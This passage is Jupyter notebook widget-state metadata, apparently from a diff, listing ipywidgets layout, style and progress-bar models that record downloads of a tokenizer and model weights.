"border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d2a03fa596c34b12a1aed264e8d08077": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_cd4f33b831ff4bd4afabbdec87b9bc8d", + "max": 547, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_79b1b7bd05714b528d9a617b1c875dfe", + "value": 547 + } + }, + "d2b243b82d0641bc82bcc9500059043d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d3010a25994f4f12b95922f2863f4f3b": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d44b6d406224497d9db5c903c6972323": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d4b746bc99074570a82175ef438cfb10": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d4c261dab25d405ba560d4626683bccb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d4c98d8a36eb4f769e23aa3f36535a0f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_15de6a583c5e4525a559749577fd4331", + "max": 372, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_4af5ce87c2a243238375d7edf93d08b2", + "value": 372 + } + }, + "d504edae2a2f4beb851928ca770b2701": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "d50a15bbc94f49c39941bacd8c7b99ba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d5b65c5e85704b02be5a0fa2ab7569fa": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d6a728463cce43d2a0c8573e5faf2dde": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d84093973fe84b06bb05f125ab7a11bb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "d8424b9018444e088fe5908db8a9db12": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_16e7c873157c444bb0ca1b92e85b4701", + "placeholder": "​", + "style": "IPY_MODEL_4f4bfc7bd24148e6ac524b57cc6d8020", + "value": "Downloading (…)tokenizer/merges.txt: 100%" + } + }, + "d923cb2715554512a7faf5b5d73a4ed8": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "d95e3f841d4f4f278fb3adae0b11d4c3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_ee9448f0b9964d8fad850501e08e3c84", + "IPY_MODEL_485caac1aa1641a3b31827620ddfa3e4", + "IPY_MODEL_55fe364a57aa4eaa93cb93b889d241c5" + ], + "layout": "IPY_MODEL_3deaa7c9f0c940c3af3b9a7c5d0c8de4" + } + }, + "dab4d54863e24f169f18999da88be46f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "db3e2ef136864292b6cc51ede3713a4d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_554525ce609044b68804e97c6b45c510", + "IPY_MODEL_97dfae674a3b415d9015760abea61968", + "IPY_MODEL_e4394ac60eef460e8f37fac24327ab77" + ], + "layout": "IPY_MODEL_ffd1b0965ac748a3857a947c94e192dc" + } + }, + "db6ac9519e6a438ebca23446b0f2a4aa": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_52a201ace1f647059d93e5d9406afee5", + "placeholder": "​", + "style": "IPY_MODEL_43820ed672c04bbf80155b25c4e4de15", + "value": " 806/806 [00:00<00:00, 7.74kB/s]" + } + }, + "dc495adaeb53477d903ce952060e4f3f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dd66e37aec9449de944edfa6dacdfc5f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "dd81ef8c35384eadb1572400c775f789": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dd9945400a2c413589af32550427f92d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "dddba90edf87434aa404eea38eaa63f2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_32bb55abea4f4ea2a7ea8a28a45eeb16", + "placeholder": "​", + "style": "IPY_MODEL_90d2a57096964b7a9e2aef14ec54e2a7", + "value": " 1.06M/1.06M [00:00<00:00, 5.14MB/s]" + } + }, + "dde9a4c3dd824b6f8345b29f2a28ef5f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_6da0c63935ac4ee4bfe6a6efbedfa93d", + "IPY_MODEL_42109c92a03c45cabd7fbb0cc7cf1c4a", + "IPY_MODEL_db6ac9519e6a438ebca23446b0f2a4aa" + ], + "layout": "IPY_MODEL_8adb835bb80941dfa3e21c9dac93d793" + } + }, + "de80e8cbbd25433c88267a1f997772e7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "df65632706474b4d903b8f6f72438166": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_99836b0d3c5241f99260cd642081c31f", + "placeholder": "​", + "style": "IPY_MODEL_99c6d5162b2d41b6b3d260f4b2c99b9b", + "value": " 308/308 [00:00<00:00, 7.38kB/s]" + } + }, + "dffc9bcfd178487e93b34f91eae3b8e8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6ea8901001af4f2aa0039b18f5e758a4", + "placeholder": "​", + "style": "IPY_MODEL_ecc46cbc78fe4d9f8af50970839d3891", + "value": "Downloading (…)ch_model.safetensors: 100%" + } + }, + "e060cf453034447dba6af95a918e3092": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e11151541738459ba16b582a9edefd2c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b74532a8bd8e49f2a8286a1eed72a0d3", + "placeholder": "​", + "style": "IPY_MODEL_dd66e37aec9449de944edfa6dacdfc5f", + "value": " 9.88k/9.88k [00:00<00:00, 186kB/s]" + } + }, + "e116ebfa368d424ca64eea23a82ef959": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e16487cbe8d74b5baad0d41dbdeeedbb": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e1877e0c82a1464597250ef0572d2679": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e19591097be54f3d954a75bf14968b46": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_f92c9532d4644693831a67344d499ff5", + "IPY_MODEL_a283d06ba73a4fc98e18e7080e794edf", + "IPY_MODEL_5837463f803c4c93b91a21d9854ae574" + ], + "layout": "IPY_MODEL_ca5bf86a004a45a6ae2067fdc6eef091" + } + }, + "e20f4ef3c100484cae5ba0a570be604c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e2eaf1b78df545feb426d75ec556f8a3": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e38139b6898e4897b67aac89ee982c7a": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "e39e7bf535fb4492ae9ac75591e79287": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e3b2deb57c0644dcbf97297abf22f91c": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "e404d2f75cdc4a9397c82bca53ca3fad": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "e4394ac60eef460e8f37fac24327ab77": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_51b27a7dc0d34dd09b1ea17aba1fb697", + "placeholder": "​", + "style": "IPY_MODEL_2a8c5504fb034f608567f8d706389d79", + "value": " 13/13 [00:23<00:00, 2.51s/it]" + } + }, + "e43b78d4e4844565ad39e979861285a8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_0e38cf52fb3d40d5a87ec975499ef648", + "max": 8756, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_a37c136cb6c34c1ea5a66bd78c5750ae", + "value": 8756 + } + }, + "e503940faf1e47bb911a62c6e5f33fa0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": 